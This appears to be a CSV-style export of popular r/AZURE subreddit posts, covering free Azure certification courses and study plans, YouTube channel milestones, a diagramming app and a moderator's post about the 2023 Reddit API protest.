Ignite sessions be like:,,jasper340,413,51,1731655498,/r/AZURE/comments/1grr0jw/microsoft_ignite_sessions_be_like/,https://i.redd.it/t5wvtwoso01e1.gif,i.redd.it,False,,,,, rv1ykm,azure,"Free Full AZ-900 Azure Fundamentals Certification Course. 8.5 hours, zero adverts.","I wanted to provide a boost for people looking to kick off the year with Azure learning so over the holiday break I spent about 40 hours creating a full AZ-900 Azure Fundamentals certification course. There are no slides, it's all me whiteboarding and demonstrating to help easier and more interactive learning. There are also zero adverts or interruptions. 📽️ AZ-900 Full Course Playlist [https://youtube.com/playlist?list=PLlVtbbG169nED0\_vMEniWBQjSoxTsBYS3](https://youtube.com/playlist?list=PLlVtbbG169nED0_vMEniWBQjSoxTsBYS3) 📖 AZ-900 Course Handout [https://github.com/johnthebrit/AZ900CertCourse](https://github.com/johnthebrit/AZ900CertCourse) It is made up of 54 lessons based around the assessed skills and is about 8.5 hours in total which means it is easily digestible. The handout has all the whiteboards and relevant links. I will be updating my study cram for AZ-900 over the next week with the latest info as well. Best of luck and please subscribe to support the channel.",JohnSavill,358,39,1641217246,/r/AZURE/comments/rv1ykm/free_full_az900_azure_fundamentals_certification/,https://www.reddit.com/r/AZURE/comments/rv1ykm/free_full_az900_azure_fundamentals_certification/,self.AZURE,True,,,,, 102bxux,azure,Just hit 175K subscribers and just a thank you!,"1️⃣7️⃣5️⃣0️⃣0️⃣0️⃣ 🎉🎊 Another huge milestone hit yesterday and a great way to start the year, 175,000 subscribers!!! As always, I feel very blessed and appreciate everyone's support to help continue to grow the channel and help as many people as possible. I continue to love learning, planning, and creating the content on the channel and have lots more planned. If you've not subscribed head over to [https://onboardtoazure.com](https://onboardtoazure.com) and subscribe to get notified about latest content. I don't have ANY advertising on the channel, or any upsell, it's all about helping people learn without distractions. Key content includes: 📖 Recommended Learning Path for Azure 🔗 [https://learn.onboardtoazure.com](https://learn.onboardtoazure.com) 🥇Certification Content Repository 🔗 [https://github.com/johnthebrit/CertificationMaterials](https://github.com/johnthebrit/CertificationMaterials) 📅 Weekly Azure Update 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nEv7jSfOVmQGRp9wAoAM0Ks](https://youtube.com/playlist?list=PLlVtbbG169nEv7jSfOVmQGRp9wAoAM0Ks) ☁ Azure Master Class v2 (currently being updated) 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY](https://youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY) ⚙ DevOps Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq](https://youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq) 💻 PowerShell Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nFq\_hR7FcMYg32xsSAObuq8](https://youtube.com/playlist?list=PLlVtbbG169nFq_hR7FcMYg32xsSAObuq8) 🎓 Certification Cram Videos 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nHz2qfLvPsAz9CnnXofhmcA](https://youtube.com/playlist?list=PLlVtbbG169nHz2qfLvPsAz9CnnXofhmcA) 🧠 Mentoring Content 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nGHxNkSWB0PjzZHwZ0BkXZZ](https://youtube.com/playlist?list=PLlVtbbG169nGHxNkSWB0PjzZHwZ0BkXZZ) ❔ Questions? Maybe I answered it in my FAQ 🔗 [https://savilltech.com/faq.html](https://savilltech.com/faq.html) 👕 Cure Childhood Cancer Charity T-Shirt Channel Store 🔗 [https://johns-t-shirts-store.creator-spring.com/](https://johns-t-shirts-store.creator-spring.com/) 🔎 Looking for specific content? Search the channel and browse playlists. Thank you again",JohnSavill,355,58,1672762255,/r/AZURE/comments/102bxux/just_hit_175k_subscribers_and_just_a_thank_you/,https://www.reddit.com/r/AZURE/comments/102bxux/just_hit_175k_subscribers_and_just_a_thank_you/,self.AZURE,True,,,,, 11e1vmk,azure,Azure Master Class v2 Complete,"Yesterday I finished the v2 Azure Master Class. The complete playlist can be found at https://www.youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY and is over 22 hours of content! As always, no advertising or upsell, just help. I recommend using the GitHub repo at https://github.com/johnthebrit/AzureMasterClass which includes all the demo files used and 120-page handout with slides, links, whiteboards etc. along with further watching videos if you want to go deep into any specific area. Also created a release so you can just download a zip file of all the content if that's easier. Happy learning!",JohnSavill,318,50,1677576681,/r/AZURE/comments/11e1vmk/azure_master_class_v2_complete/,https://www.reddit.com/r/AZURE/comments/11e1vmk/azure_master_class_v2_complete/,self.AZURE,True,,,,, 1fqwp9b,azure,Accidentally racked up 30k-50k in azure bills at deploying a chatbot ,[deleted],[deleted],310,151,1727467318,/r/AZURE/comments/1fqwp9b/accidentally_racked_up_30k50k_in_azure_bills_at/,,,True,,,,, simwus,azure,"My Azure dedicated YouTube channel just passed 100,000 subscribers. Thank you! 🥳","&#x200B; https://preview.redd.it/e0m9sbgnsef81.jpg?width=2048&format=pjpg&auto=webp&s=d87bd81d3e09e137bfb4fa639cb25f0fa4d56c6a It's hard to believe, but we're finally here. 100,000 subscribers on my YouTube channel. 🥳🥳🥳🥳 Let me tell you... what a journey it has been. Two and a half years of hard work, thousands of hours, countless preparations, English lessons, presentations, hand-drawn animations, refactoring, and perfecting my materials. All for what I believe is a good cause. Helping everyone around the world to shape their future career by learning Azure. I was born in a small town of 45,000 people, so you can imagine that for me seeing a whole hundred thousand professionals from all around the world showing their support is something unbelievable. I'm proud knowing that I can touch their lives even if it's a little bit. This brings me an extreme amount of joy and a feeling of satisfaction.  100k subscribers was never a goal of mine. Heck... when I started, I haven't even thought that I would get to 10k. I said to myself that, if within one year I would get 5k subscribers, then I would call this a successful endeavor. Later I realized that the number isn't my measure of success, but the wonderful comments from people who I helped are. Two and a half years later here we are. Words cannot express this. One thing is certain, this is not the end of the road, it's just the opposite. For me, it's the beginning of the next chapter. So let me say this now, I am not done, please expect more from me. Thank you everyone for your trust and continuous support! 🙏🙏🙏 [https://youtube.com/azure4everyone](https://youtube.com/azure4everyone) New videos are coming soon! Stay tuned friends!",AdamMarczakIO,286,53,1643803098,/r/AZURE/comments/simwus/my_azure_dedicated_youtube_channel_just_passed/,https://www.reddit.com/r/AZURE/comments/simwus/my_azure_dedicated_youtube_channel_just_passed/,self.AZURE,True,,,,, 1180nit,azure,When DevOps have unrestricted access to the cloud...,,meshcloud,280,11,1676976639,/r/AZURE/comments/1180nit/when_devops_have_unrestricted_access_to_the_cloud/,https://v.redd.it/8ogicmx3uija1,v.redd.it,False,,,,, 1fnmsmq,azure,"I am new to Azure, just wanted to drop some love for John Savill","That is all. https://youtu.be/tkNHafWEKKQ?si=kgoOdzZvI_9qSeYF",QuantumLov3,273,37,1727104268,/r/AZURE/comments/1fnmsmq/i_am_new_to_azure_just_wanted_to_drop_some_love/,https://www.reddit.com/r/AZURE/comments/1fnmsmq/i_am_new_to_azure_just_wanted_to_drop_some_love/,self.AZURE,True,,,,, iyewz5,azure,"Scott Duffy's Azure Fundamentals Courses, Free","Hi, r/Azure! Have you all been watching Ignite this week? Mark Russinovich's Inside the Azure Datacenter video has been the one I was looking forward to the most, and it did not disappoint. I recommend that one to anyone interested in how Azure ""works"" from the inside. [https://myignite.microsoft.com/sessions/40aca11c-8e28-4914-a6d8-b3a7efb4eee1](https://myignite.microsoft.com/sessions/40aca11c-8e28-4914-a6d8-b3a7efb4eee1) Another thing about Ignite that people have been excited about is that Microsoft is also offering a free exam voucher with the Ignite Challenge. [https://aka.ms/IgniteCloudSkillsChallenge](https://aka.ms/IgniteCloudSkillsChallenge) I am not sure you can just jump and take a certification exam straight from taking the Cloud Skills Challenge. So do you know what? I'm happy to offer a couple of my Udemy courses for free to help with that. If you’re interested in the Database track, I’d love to offer you my **DP-900 Azure Data Fundamentals** course for free. Gratis. No strings attached. [https://www.udemy.com/course/dp900-azure/?couponCode=IGNITEFREE](https://www.udemy.com/course/dp900-azure/?couponCode=IGNITEFREE) If you’re interested in the core Azure track, feel free to pick up my **AZ-900 Azure Fundamentals** course for free. I’m also including the practice test course. [https://www.udemy.com/course/az900-azure/?couponCode=IGNITEFREE](https://www.udemy.com/course/az900-azure/?couponCode=IGNITEFREE) [https://www.udemy.com/course/az900-azure-tests/?couponCode=IGNITEFREE](https://www.udemy.com/course/az900-azure-tests/?couponCode=IGNITEFREE) Happy learning! Scott P.S. I'm also celebrating my 400,000th student on Udemy this week, which is also another good reason for this post! Thank you!",unreal37,269,70,1600882796,/r/AZURE/comments/iyewz5/scott_duffys_azure_fundamentals_courses_free/,https://www.reddit.com/r/AZURE/comments/iyewz5/scott_duffys_azure_fundamentals_courses_free/,self.AZURE,True,,,,, 133npi9,azure,Azure market share growth,,torpedo667,269,42,1682857151,/r/AZURE/comments/133npi9/azure_market_share_growth/,https://i.imgur.com/5rsALFw.png,i.imgur.com,False,,,,, fe2w33,azure,I wrote a free app that'll help you sketch cloud architecture diagrams,"I wrote an app that'll help you sketch cloud architecture diagrams for free. All Azure, AWS, GCP, Kubernetes, CNCF icons are preloaded in the app. Hope the community finds it useful: [cloudskew.com](https://www.cloudskew.com) Edit: Thank you for the reddit gold & awards folks. Will pay it forward! &#x200B; https://preview.redd.it/nr0alhb8exk41.png?width=1920&format=png&auto=webp&s=6dc24fc16a658eb02e2afd85c1cdcae0a07f4f46",mithunshanbhag,269,52,1583445414,/r/AZURE/comments/fe2w33/i_wrote_a_free_app_thatll_help_you_sketch_cloud/,https://www.reddit.com/r/AZURE/comments/fe2w33/i_wrote_a_free_app_thatll_help_you_sketch_cloud/,self.AZURE,True,,,,, v9bsw7,azure,Azure DevOps has one of the simplest and easiest to understand explanations of different git merge types I have ever seen.,[deleted],[deleted],268,24,1654879033,/r/AZURE/comments/v9bsw7/azure_devops_has_one_of_the_simplest_and_easiest/,https://i.imgur.com/X8qYQSl.gif,i.imgur.com,False,,,,, mckiay,azure,I often create diagrams for Azure documentation. Here is one detailing how a WVD environment may be setup using a Azure AD DS to support it. (Also just explains AzADDS in general). Is there interest in more of this sort of content?,,bitdeft,259,56,1616630130,/r/AZURE/comments/mckiay/i_often_create_diagrams_for_azure_documentation/,https://i.redd.it/f0bsj4jed2p61.png,i.redd.it,False,,,,, 1f23tlv,azure,Confession from an Azure Support Engineer,[removed],[deleted],257,130,1724718542,/r/AZURE/comments/1f23tlv/confession_from_an_azure_support_engineer/,https://www.reddit.com/r/AZURE/comments/1f23tlv/confession_from_an_azure_support_engineer/,self.AZURE,True,,,,, mu1dnz,azure,"Free Azure Master Class just passed 100K views across its 20 hours of content. Video, whiteboards, handouts all included and linked from main GitHub readme. ZERO adverts. Just learning.",,JohnSavill,256,37,1618841299,/r/AZURE/comments/mu1dnz/free_azure_master_class_just_passed_100k_views/,https://github.com/johnthebrit/AzureMasterClass/,github.com,False,,,,, 148tc0b,azure,"We're back, but, you all need to understand the context of this situation.","This is a bit of a long post, but, I want to take a moment to explain our recent community decision and ask you all to take action. I especially want to explain to my friends who work at Reddit why I chose to participate in the blackout (even though I know none of you hold it against me). First and foremost - if the name Kevin Rose or the term ""Alien Blue"" doesn't ring a bell, **this post is especially for you**. Reddit launched during a time where Digg (the Reddit before Reddit) was at it's peak and started to boom around the time Digg started censoring content and forcing a terrible UI on all of it's users. Many of us signed up for Reddit back then because the UI was cleaner, there was less ads, and the content was controlled by corporations for us - in fact, Digg quickly became a dead project after ""[The Great Digg Migration](https://d3.harvard.edu/platform-digit/submission/the-demise-of-digg-how-an-online-giant-lost-control-of-the-digital-crowd/)"" and ended up going from a $200 million dollar company to a company that sold for a mere $500000 in 2012. This is when Reddit started to boom. Reddit has always been ""a free speech platform"" and I stand by the idea that they still mostly hold that value true today (the fact that we can protest without being banned is a piece that supports this at least). During the initial creation of Reddit, Digg was commonly referred to as ""too corporate"" and ""too business"" - in fact, you can even see spez cracking jokes about karma on a [thread](https://www.reddit.com/r/reddit.com/comments/4p29/digg_corrupted_editors_playground_not_userdriven/) that was related to Digg's content editors power. For people to say ""well reddit is just another business"" is a bit of a farce - even the CEO has publicly said differently. To quote him directly, ""I think the problem Digg had is that it was a company that was built to be a company, and you could feel it in the product. The way you could criticise Reddit is that we weren't a company – we were all heart and no head for a long time."" Now comes the fun part - when reddit was created, ***they had no interest in developing a mobile application.*** They literally told people to go use their API and build apps. While anecdotal, I personally reached out to Reddit years ago (in 2013 after I had just delivered the first Leafly app) and asked if they wanted someone to build a mobile app for them first party. I was told no - they wanted to maintain the freedom for people to use reddit how they wanted. About a year and a half later, they went out and bought Alien Blue - the most popular reddit app in 2014. This action generated a lot of fear in third party developers but the CEO and company doubled down on the idea that they wanted users to choose how they used reddit. Ellen Pao is [on record](https://www.digitaltrends.com/mobile/reddit-acquires-alien-blue-relaunches-ios-app-free-upgrade/) saying ""Our whole philosophy has been to give our users choice. We’ve got the reddit AMA app, and alien blue coming out… but we really want users to use whatever they want.” I want each of you to take a second and think about this for a second. Reddit *bought a mobile app in 2014* and then *effectively replaced it with their current app in 2016*. Reddit *maintained the access to their API's* and even used it themselves up until they rewrote the API using GQL and updated their app in 2020. After that was released, **many of the third party apps (including** /u/iamthatis\*\*) spent time\*\* [**reaching out to reddit**](https://www.reddit.com/r/redditdev/comments/fdh19d/is_there_any_way_to_use_reddits_new_graphql_api/) asking about the new GQL endpoint and when they could use it. Reddit told them at the time **""Just keep using the REST api, don't worry about it.""** You can even see someone says Christian can hide by using a webview and his answer was ""No, I'll do it the right way."" Now, anyone who's a software developer would probably guess that Reddit's next move (if their REST API was actually that expensive) is to get the new GQL endpoint up and running for third party devs. This absolutely can be done and should have been done - but it wasn't. Instead, Reddit decided to take the approach of \*""\****Screw it, we're just going to charge for API access because it costs us too much money.""*** For those of you who are't on board - think about this for a second. This means Reddit and the CEO have sat with this knowledge for three years, staring at the ticking time bomb (their expensive API) and did NOTHING about it. Their ""solution"" is to price everyone out at a crazy rate. I do want to make it clear that $0.24 for 1000 calls is insane when you consider the average API call size to reddit is around 50KB (testing this in the API right now responding to hundreds of mod mails). People keep saying ""You can't compare Reddit to Imgur"" but you can. The cost to access, store, and find data is the same (actually, slightly larger) for images - but somehow, Imgur can offer calls at around $0.06 per 1000 calls having a data footprint that's nearly 200 times the size. Everything that has happened this last month has been the result of bad leadership, bad communication, and greed. The real reason they're pricing everyone out is because they're losing ad money to alternatives out there, not because ""it's too expensive to maintain."" For those of you who stand with us, I appreciate you. For those of you who are still upset about a 48 hour blackout, WAKE UP. Read more here: [https://www.theverge.com/2023/6/13/23759180/reddit-protest-private-apollo-christian-selig-subreddit](https://www.theverge.com/2023/6/13/23759180/reddit-protest-private-apollo-christian-selig-subreddit) &#x200B; If you're still with me and wondering, what can you do? 1. [Email](mailto://contact@reddit.com) Reddit or create a support ticket to communicate your opposition to their proposed modifications. 2. Complain. Message the mods of /r/reddit.com, who are the admins of the site: message /u/reddit: submit a support request: comment in relevant threads on /r/reddit, such as this one, leave a negative review on their official iOS or Android app- and sign your username in support to this post. 3. Spread the word. Rabble-rouse on related subreddits. Meme it up, make it spicy. Complain about it to your cat. 4. Sign the letter: [https://old.reddit.com/r/ModCoord/comments/13xh1e7/an\_open\_letter\_on\_the\_state\_of\_affairs\_regarding/](https://old.reddit.com/r/ModCoord/comments/13xh1e7/an_open_letter_on_the_state_of_affairs_regarding/) 5. Tweet at Reddit. Talk to news companies. BE VOCAL. 6. Join us on discord: [https://aka.ms/azurediscord](https://aka.ms/azurediscord) Thank you for reading this. Your subreddit has been returned to you for now. \-/u/hellodeveloper &#x200B; P.S. For those of you who cursed me out in modmail because ""you can't do your job without this subreddit"" - I hope you got fired. You yelling at me in modmail just fueled my desire to permanently keep this closed.",hellodeveloper,254,86,1686700790,/r/AZURE/comments/148tc0b/were_back_but_you_all_need_to_understand_the/,https://www.reddit.com/r/AZURE/comments/148tc0b/were_back_but_you_all_need_to_understand_the/,self.AZURE,True,,,,, 11pfpd4,azure,Practice first approach to pass AZ-104,"UPD: use Learn Azure app[ **for iOS**](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) or[ **Android**](https://play.google.com/store/apps/details?id=com.learnazure.app) for knowledge check after practice session &#x200B; You can use such an approach for any other Azure exam by creating learning plans based on practice labs yourself. Here is what I found for AZ-104. Firstly, I look into this [mindmap](https://www.reddit.com/r/AzureCertification/comments/10w5kaj/az104_outline_mindmap/) with the topics that is needed to cover to pass AZ-104. Then, I divided the preparation topics into 6 blocks: Identity, Networking, Storage, Compute, Monitor, and Backup. For each of the learning blocks, I started looking for practice labs. And here's what I got. # [🔑](https://web.archive.org/web/20230312142434/https://emojipedia.org/key/) Azure Identity * Complete practice labs about Azure Identity: * [Manage Azure Active Directory Identities](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_01-Manage_Azure_AD_Identities.html) * [Manage Subscriptions and RBAC](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_02a_Manage_Subscriptions_and_RBAC.html) * [Manage Governance via Azure Policy](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_02b-Manage_Governance_via_Azure_Policy.html) * Do knowledge check in the [Learn Azure app](https://web.archive.org/web/20230312142434/https://learnazure.app/) for 1st section - Manage Azure Identities and governance. &#x200B; * Fill in the gaps. Read the documentation on the questions you couldn't answer. Repeat the knowledge check. **Optional:** * Find the most relevant architecture pattern for you in the [Azure Architecture Center on Identity](https://learn.microsoft.com/en-us/azure/architecture/browse/?products=azure&expanded=azure&azure_categories=identity). For example, one that is most related to your job's responsibilities or a side-project like creating a website with your resume. As an alternative to a resume, you can create a website for your company or student group. * After completing all the learning blocks below, back here and complete the Hands-on lab from Microsoft Cloud Workshop - [Hybrid identity](https://github.com/microsoft/MCW-Hybrid-identity). It requires knowlege from all areas of this exam. # [📦](https://web.archive.org/web/20230312142434/https://emojipedia.org/package/) Azure Storage * Complete [Azure Storage practice lab](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_07-Manage_Azure_Storage.html) * Complete [The Cloud Resume Challenge](https://cloudresumechallenge.dev/docs/the-challenge/azure/#2-html), chapters 1 and 2 * Knowledge check. Take quizzes in [Learn Azure app](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) from section 2 - Implement and manage Storage **Optional:** * Read the tutorial and repeat the storage architecture from [this list](https://learn.microsoft.com/en-us/azure/architecture/browse/?products=azure&azure_categories=networking%2Cstorage&terms=storage&filter-azure_categories=storage) of Azure Architectures # [🖥️](https://web.archive.org/web/20230312142434/https://emojipedia.org/desktop-computer/) Compute Services * Complete practice labs about Azure Compute Services: * [Manage Virtual Machines](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_08-Manage_Virtual_Machines.html) * [Implement Web Apps](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_09a-Implement_Web_Apps.html) * [Implement Azure Container Instances](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_09b-Implement_Azure_Container_Instances.html) * [Implement Azure Kubernetes Service](https://web.archive.org/web/20230312142434/https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_09c-Implement_Azure_Kubernetes_Service.html) * Complete a task from [Cloud Resume challange](https://cloudresumechallenge.dev/docs/the-challenge/azure/#9-api). Create an API that accepts requests from your web app and communicates with the database. Use Azure Functions with an HTTP trigger for this. * Take quizzes in [Learn Azure app](https://play.google.com/store/apps/details?id=com.learnazure.app) from section 3 - Deploy and manage compute resources * &#x200B; **Optional:** * Complete the tutorial from Azure Architecture Center from [the list](https://learn.microsoft.com/en-us/azure/architecture/browse/?products=azure&azure_categories=compute) of Compute related architecture patterns * Check the Workshop: [Building a resilient IaaS architecture](https://github.com/Microsoft/MCW-Building-A-Resilient-IaaS-Architecture) * Check Azure DevOps labs: * [Deploying to Azure VM using Deployment Groups](https://www.azuredevopslabs.com/labs/vstsextend/deploymentgroups/) * [Deploying a Docker based web application to Azure App Service](https://www.azuredevopslabs.com/labs/vstsextend/docker/) * [Deploy existing .NET apps as Windows containers (Modernizing .NET apps)](https://www.azuredevopslabs.com/labs/vstsextend/aspnetmodernize/) # [🌐](https://web.archive.org/web/20230312142434/https://emojipedia.org/globe-with-meridians/) Networking * Complete practice labs about Azure Networking: * [Implement Virtual Networking](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_04-Implement_Virtual_Networking.html) * [Implement Intersite Connectivity](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_05-Implement_Intersite_Connectivity.html) * [Implement Traffic Management](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_06-Implement_Network_Traffic_Management.html) * Do a knowledge check in Learn Azure app on section #4 - ""Congifure and manage virutal networking"" * Fill the gaps. Read the documentation for the questions you cannot answer. Repeat the knowledge check **Optional:** * Check [Azure Architectures](https://learn.microsoft.com/en-us/azure/architecture/browse/?products=azure&filter-azure_categories=networking&azure_categories=networking) for networking architecutre patterns * Complete Hands-on lab [Enterprise-class networking in Azure](https://github.com/Microsoft/MCW-Enterprise-Class-Networking) from Microsoft Cloud Workshop [🤓](https://web.archive.org/web/20230312142434/https://emojipedia.org/nerd-face/) Monitor * Complete [practice lab](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_11-Implement_Monitoring.html) about Monitoring in Azure * Do knoweldge check in [Learn Azure app](https://learnazure.app/) for section ""Monitor and maintain Azure resources"" **Optional:** * Complete hands-on lab Monitoring Application Performance with [Application Insights](https://www.azuredevopslabs.com/labs/azuredevops/appinsights/) * Find monitoring architecure solutions example in Azure Architecture Center from [this list](https://learn.microsoft.com/en-us/azure/architecture/browse/?products=azure&azure_categories=analytics) # [💾](https://web.archive.org/web/20230312142434/https://emojipedia.org/floppy-disk/) Backup * Complete [practice lab](https://microsoftlearning.github.io/AZ-104-MicrosoftAzureAdministrator/Instructions/Labs/LAB_10-Implement_Data_Protection.html) about Data Protection in Azure * Do knoweldge check in Learn Azure app in quizzes that relates to backup **Optional:** * Find and complete tutorials in real environment about backup in Architecture Center from [this list](https://learn.microsoft.com/en-us/azure/architecture/browse/?products=azure&terms=backup) Wrap Up Let's do a final sprint before the real exam. By this point, you should feel confident with all of the Azure administration topics and more, including Identity, Networking, Compute Services, Storage, and Backup. You should not only be confident in your knowledge but also have a clear picture in your mind of how these Azure services work in a real environment. # Final Sprint * Schedule the AZ-104 exam several days ahead * Go back to each knowledge block and practice as much as you can * Take the mock-exam in the Learn Azure app, or alternatively use MeasureUp or Tutorials Dojo * Fill in the gaps. Read/view the learning content for questions that you answered incorrectly * Repeat the knowledge check until you achieve your best score * On the day of the exam, get a good night's sleep, eat well, go to the WC before the exam, and prepare your desktop and ID in case you are taking the exam online &#x200B; Pass It!",licedey,252,17,1678631010,/r/AZURE/comments/11pfpd4/practice_first_approach_to_pass_az104/,https://www.reddit.com/r/AZURE/comments/11pfpd4/practice_first_approach_to_pass_az104/,self.AZURE,True,,,,, rnn0ku,azure,Thank you for the support - John Savill's Technical Training YouTube Channel 90K milestone,"&#x200B; https://i.redd.it/2xr5gloyyh781.gif 9️⃣0️⃣0️⃣0️⃣0️⃣ 🎉🎊 Another huge milestone and just before Christmas, 90,000 subscribers!!! Santa is getting some John-made cookies as a thank you 😃 As always, I feel very blessed and appreciate everyone's support to help continue to grow the channel and help as many people as possible. In the last couple of months, I’ve continued to add a lot of content including deep dives, overviews and study crams including AZ-104 and AZ-305. 📝 I continue to love learning, planning, and creating the content on the channel and have lots more planned. Next Ask Me Anything (AMA) date announcing in the next couple of days but will be at a different time than usual to enable people from other time zones to participate. 🌏 If you've not subscribed head over to [https://onboardtoazure.com](https://onboardtoazure.com) and subscribe to participate in the live chat, get notified when the event starts and for lots of great content. I don't have advertising on the channel, it's all about helping people learn without distractions. Key content includes: 📚 Curated Learning Path 🔗 [https://learn.onboardtoazure.com](https://learn.onboardtoazure.com) 📅 Weekly Azure Update 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nEv7jSfOVmQGRp9wAoAM0Ks](https://youtube.com/playlist?list=PLlVtbbG169nEv7jSfOVmQGRp9wAoAM0Ks) ☁ Azure Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY](https://youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY) ⚙ DevOps Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq](https://youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq) 💻 PowerShell Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nFq\_hR7FcMYg32xsSAObuq8](https://youtube.com/playlist?list=PLlVtbbG169nFq_hR7FcMYg32xsSAObuq8) 🎓 Certification Study Cram Videos 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nHz2qfLvPsAz9CnnXofhmcA](https://youtube.com/playlist?list=PLlVtbbG169nHz2qfLvPsAz9CnnXofhmcA) 💾 Technology deep dives and overviews 👨‍🏫 Virtual mentoring content 🔗https://youtube.com/playlist?list=PLlVtbbG169nGHxNkSWB0PjzZHwZ0BkXZZ 🔎 Looking for specific content? Search the channel and browse playlists. Thank you again everyone and take care!",JohnSavill,251,56,1640354768,/r/AZURE/comments/rnn0ku/thank_you_for_the_support_john_savills_technical/,https://www.reddit.com/r/AZURE/comments/rnn0ku/thank_you_for_the_support_john_savills_technical/,self.AZURE,True,,,,, sg63zv,azure,"1️⃣0️⃣0️⃣,0️⃣0️⃣0️⃣ Subscribers - John Savill's Technical Training Channel - THANK YOU!","Saturday morning, I hit a goal of mine since I really started to focus on my YouTube channel two years ago which was to help as many people as possible with their IT and career goals. That goal: 1️⃣0️⃣0️⃣,0️⃣0️⃣0️⃣ subscribers 🎉 I feel truly blessed to be able to help so many people and for the amazing support the channel has seen so sincerely, THANK YOU 🙏 For those that don't know my channel I focus on Azure, DevOps, PowerShell with some other technology and mentoring thrown in. There are ZERO adverts, memberships or upsells on the channel. Nothing to distract you from being the best you can be. Some key content for people new to the channel is below but there are over five hundred videos ranging from deep dives to overviews. 📖 Recommended Learning Path for Azure 🔗 https://learn.onboardtoazure.com 🥇Certification Content Repository 🔗 https://github.com/johnthebrit/CertificationMaterials 📅 Weekly Azure Update 🔗 https://youtube.com/playlist?list=PLlVtbbG169nEv7jSfOVmQGRp9wAoAM0Ks ☁ Azure Master Class 🔗 https://youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY ⚙ DevOps Master Class 🔗 https://youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq 💻 PowerShell Master Class 🔗 https://youtube.com/playlist?list=PLlVtbbG169nFq\_hR7FcMYg32xsSAObuq8 🎓 Certification Cram Videos 🔗 https://youtube.com/playlist?list=PLlVtbbG169nHz2qfLvPsAz9CnnXofhmcA 🧠 Mentoring Content 🔗 https://youtube.com/playlist?list=PLlVtbbG169nGHxNkSWB0PjzZHwZ0BkXZZ ❔ Question about my setup? 🔗 https://youtube.com/playlist?list=PLlVtbbG169nHuSSHudxXDdn9Vz3T4-0mS 👕 Cure Childhood Cancer Charity T-Shirt Channel Store 🔗 https://johns-t-shirts-store.creator-spring.com/ SUBSCRIBE ✅ [https://www.youtube.com/channel/UCpIn7ox7j7bH\_OFj7tYouOQ?sub\_confirmation=1](https://www.youtube.com/channel/UCpIn7ox7j7bH_OFj7tYouOQ?sub_confirmation=1) So, one final THANK YOU! 🤙",JohnSavill,242,65,1643537318,/r/AZURE/comments/sg63zv/100000_subscribers_john_savills_technical/,https://www.reddit.com/r/AZURE/comments/sg63zv/100000_subscribers_john_savills_technical/,self.AZURE,True,,,,, sp6deg,azure,New version of Learn Azure has been released. It is a free mobile app to help you prepare for AZ-900/AZ-104/AZ-204/AZ-400 certification,"Let me introduce v2.7.1 (upd: v2.7.5) of free mobile app which may help you to prepare for Microsoft Azure certification exams mentioned in title. *(The introductory* [*post is here*](https://www.reddit.com/r/AZURE/comments/r5j040/free_mobile_app_to_help_you_prepare_for_az900/)*. Please check it if you hear about Learn Azure first time.)* What's new: * First, I collect all your feedback and fix the wrong and tricky questions. Thanks for reporting! * There are more questions added to existing tests * New: Internal web-browser to read articles inside app added. Some users on Android sent reports that after opening article to learn in an external browser, then it is impossible to back to the app. * I’ve also added a pop-up through which you can share the feedback about the app. I’ll appreciate it. Currently, I am going to develop version 3.0 which will contain all-in-one solution to prepare for Azure certifications. Include video-tutorials, achievements/reminders and mock-exams which is close to what offer Microsoft. I also have a couple of questions to community. 1. Does it make sense to adjust and release version for Windows (through Windows Store)? It is almost done. I am just not sure that it makes sense for many people. 2. I want to add a video tutorials inside app that relates to each exam. Is there any people in the community who can help with it? It can be video links to your existing youtube videos, so you’ll get more viewers. Or we should agree on other terms for creating such video-tutorials. Links to download [Learn Azure](https://learnazure.app):",licedey,226,27,1644498876,/r/AZURE/comments/sp6deg/new_version_of_learn_azure_has_been_released_it/,https://www.reddit.com/r/AZURE/comments/sp6deg/new_version_of_learn_azure_has_been_released_it/,self.AZURE,True,,,,, gtpfxk,azure,Stuck with an unpleasant experience with Azure or Azure support? Please read this post!,"Hey /r/Azure, If you've reached a dead end or are starting to feel like giving up while trying to resolve an issue, **I kindly ask that you to please reach out to** 